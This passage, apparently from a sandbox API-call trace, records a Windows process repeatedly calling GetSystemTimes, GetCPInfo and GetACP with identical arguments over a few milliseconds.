lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.586] GetACP () returned 0x4e4 [0053.586] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.587] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.587] GetACP () returned 0x4e4 [0053.587] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.588] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.588] GetACP () returned 0x4e4 [0053.588] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.589] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.589] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.589] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.590] GetACP () returned 0x4e4 [0053.590] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.590] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.591] GetACP () returned 0x4e4 [0053.591] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.591] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.592] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.592] GetACP () returned 0x4e4 [0053.592] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.593] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.593] GetACP () returned 0x4e4 [0053.593] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.594] GetACP () returned 0x4e4 [0053.594] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.594] GetCPInfo (in: 